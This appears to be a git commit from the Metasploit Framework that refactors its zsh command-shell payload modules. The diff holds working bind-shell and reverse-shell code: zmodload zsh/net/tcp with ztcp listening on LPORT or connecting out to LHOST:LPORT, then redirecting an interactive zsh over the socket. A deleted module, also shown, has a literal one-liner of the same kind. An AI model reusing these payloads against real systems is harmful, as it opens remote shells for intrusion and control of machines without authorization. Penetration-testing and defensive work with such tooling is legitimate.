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Refactor zsh payloads 

This also fixes an oversight where the payloads would fail outside zsh.
GSoC/Meterpreter_Web_Console
William Vu 2018-05-15 14:02:57 -05:00
parent 49904e0377
commit b58dc3bf5e
3 changed files with 11 additions and 59 deletions
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12
modules/payloads/singles/cmd/unix/bind_zsh.rb
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@ -23,7 +23,8 @@ module MetasploitModule
},
'Author' =>
[
'Doug Prostko <dougtko[at]gmail.com>'
'Doug Prostko <dougtko[at]gmail.com>', # Initial payload
'Wang Yihang <wangyihanger[at]gmail.com>' # Simplified redirections
],
'License' => MSF_LICENSE,
'Platform' => 'unix',
@ -44,18 +45,13 @@ module MetasploitModule
# Constructs the payload
#
def generate
return super + command_string
super + command_string
end
#
# Returns the command string to use for execution
#
def command_string
cmd = "zmodload zsh/net/tcp;"
cmd << "ztcp -l #{datastore['LPORT']};"
cmd << "ztcp -a $REPLY;"
cmd << "while read -r cmd <&$REPLY;do eval ${cmd} >&$REPLY;done;"
cmd << "ztcp -c"
cmd
"zsh -c 'zmodload zsh/net/tcp && ztcp -l #{datastore['LPORT']} && ztcp -a $REPLY && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'"
end
end

14
modules/payloads/singles/cmd/unix/reverse_zsh.rb
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@ -21,7 +21,11 @@ module MetasploitModule
Connect back and create a command shell via Zsh. Note: Although Zsh is often
available, please be aware it isn't usually installed by default.
},
'Author' => 'Doug Prostko <dougtko[at]gmail.com>',
'Author' =>
[
'Doug Prostko <dougtko[at]gmail.com>', # Initial payload
'Wang Yihang <wangyihanger[at]gmail.com>' # Simplified redirections
],
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
@ -34,14 +38,10 @@ module MetasploitModule
end
def generate
return super + command_string
super + command_string
end
def command_string
cmd = "zmodload zsh/net/tcp;"
cmd << "ztcp #{datastore['LHOST']} #{datastore['LPORT']};"
cmd << "while read -r cmd <&$REPLY;do eval ${cmd} >&$REPLY;done;"
cmd << "ztcp -c"
cmd
"zsh -c 'zmodload zsh/net/tcp && ztcp #{datastore['LHOST']} #{datastore['LPORT']} && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'"
end
end

44
modules/payloads/singles/cmd/unix/reverse_zsh_redirection.rb
View File

@ -1,44 +0,0 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module MetasploitModule
CachedSize = 110
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Reverse TCP (via Zsh)',
'Description' => %q{
Connect back and create a command shell via Zsh by direction operations. Note: Although Zsh is often
available, please be aware it isn't usually installed by default.
},
'Author' => 'Wang Yihang <wangyihanger[at]gmail.com>',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'zsh',
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
))
end
def generate
return super + command_string
end
def command_string
# zmodload zsh/net/tcp && ztcp -d 9 127.0.0.1 8080 && zsh 1>&9 2>&9 0>&9
cmd = "zmodload zsh/net/tcp && ztcp -d 9 #{datastore['LHOST']} #{datastore['LPORT']} && zsh 1>&9 2>&9 0>&9"
end
end